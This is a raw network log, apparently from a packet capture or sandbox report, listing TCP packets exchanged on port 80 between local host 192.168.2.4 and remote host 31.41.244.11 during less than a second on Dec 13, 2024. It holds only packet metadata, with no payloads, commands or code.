Dec 13, 2024 01:51:31.744273901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.744343996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.744410992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.744478941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.745265961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.745337009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.745409966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.745480061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.746351957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.746376991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.746423960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.746486902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.747284889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.747299910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.747371912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.748249054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.748346090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.748372078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.748436928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.749253988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.749326944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.749358892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.749425888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.750268936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.750324965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.750343084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.750399113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.751249075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.751327038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.751359940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.751429081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.752240896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.752314091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.752340078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.752401114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.753238916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.753314972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.753343105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.753397942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.754242897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.754316092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.754353046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.754421949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.755264997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.755347967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.755382061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.755448103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.756247044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.756320953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.756346941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.756409883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.757239103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.757309914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.757347107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.757412910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.758224010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.758292913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.758343935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.758413076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.759224892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.759298086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.759336948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.759399891 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.760217905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.760289907 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.760323048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.760387897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.761199951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.761271000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.761329889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.761399031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.762213945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.762285948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.762317896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.762381077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.763225079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.763319969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.763360023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.763431072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.764226913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.764297962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.764331102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.764399052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.765309095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.765335083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.765379906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.765429974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.906119108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.906140089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.906167984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.906184912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.906428099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.906428099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.906949997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.907042980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.907099009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.907974005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.908061981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.908111095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.908931971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.908984900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.909018993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.909061909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.909913063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.909976959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.910010099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.910054922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.910907030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.910960913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.911015987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.911057949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.911920071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.911993980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.912051916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.912066936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.912909985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.913023949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.913077116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.913891077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.913938999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.913965940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.914010048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.914984941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.915086985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.915155888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.915913105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.915956974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.916002989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.917021990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.917098045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.917134047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.917134047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.917887926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.918004036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.918045044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.918905973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.918946981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.919017076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.919059992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.919924974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.919991016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.920011044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.920888901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.920938969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.921005964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.921045065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.921881914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.922018051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.922080040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.922873020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.922923088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.922955990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.922996998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.923861027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.923907042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.924000978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.924042940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.924984932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.924998999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.925033092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.925050020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.925896883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.925964117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.925998926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.926038027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.926867962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.926892996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.926924944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.926950932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.927875042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.927927971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.927994013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.928035975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.928843975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.928955078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.929009914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.929836035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.929960966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.930000067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.930907011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.930973053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.930984020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.931022882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.931850910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.931917906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.931948900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.932533026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.932852983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.932938099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.932967901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.933007002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.933845997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.933902979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.933959007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.934001923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.934842110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.934921980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.934995890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.935825109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.935945988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.935977936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.936021090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.936830997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.936918020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.936985016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.937832117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.937935114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.937984943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.938823938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.938873053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.938967943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.939011097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.939850092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.939893007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.940035105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.940078020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.940821886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.940927029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.940978050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.941802979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.941848993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.941914082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.942018986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.942820072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.942867041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.942924023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.942969084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.943840981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.943856001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.943886042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.943902969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.944899082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.944947004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.945008993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.945049047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.945808887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.945847988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.946043968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.946105003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.946798086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.946923971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.946997881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.947788954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.947844028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.947895050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.947937012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.948796988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.948839903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.948961973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.949002981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.949781895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.949896097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.949903011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.949940920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.950829983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.950845957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.950885057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.951838970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.951853991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.951894045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.952810049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.952858925 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.952943087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.952984095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.953840017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.953855038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.953887939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.953900099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.954802990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.954853058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.954884052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.954936028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.955764055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.955811024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.955879927 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.955933094 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.956784964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.956831932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.956849098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.956893921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.957767010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.957813025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.098037958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.098063946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.098294020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.098372936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.098444939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.098459005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.098704100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.099354982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.099438906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.099528074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.100322008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.100369930 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.100425005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.100471020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.101317883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.101365089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.101399899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.101444006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.102310896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.102355003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.102442980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.102487087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.103310108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.103434086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.103482962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.104300976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.104373932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.104434013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.104479074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.105448008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.105494022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.105575085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.105619907 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.106313944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.106360912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.106439114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.106484890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.107296944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.107407093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.107455015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.108300924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.108347893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.108406067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.108452082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.109349012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.109509945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.109558105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.110281944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.110332012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.110431910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.110476971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.111305952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.111361027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.111414909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.111460924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.112308979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.112349033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.112371922 CET	80	49809	31.41.244.11	192.168.2.4
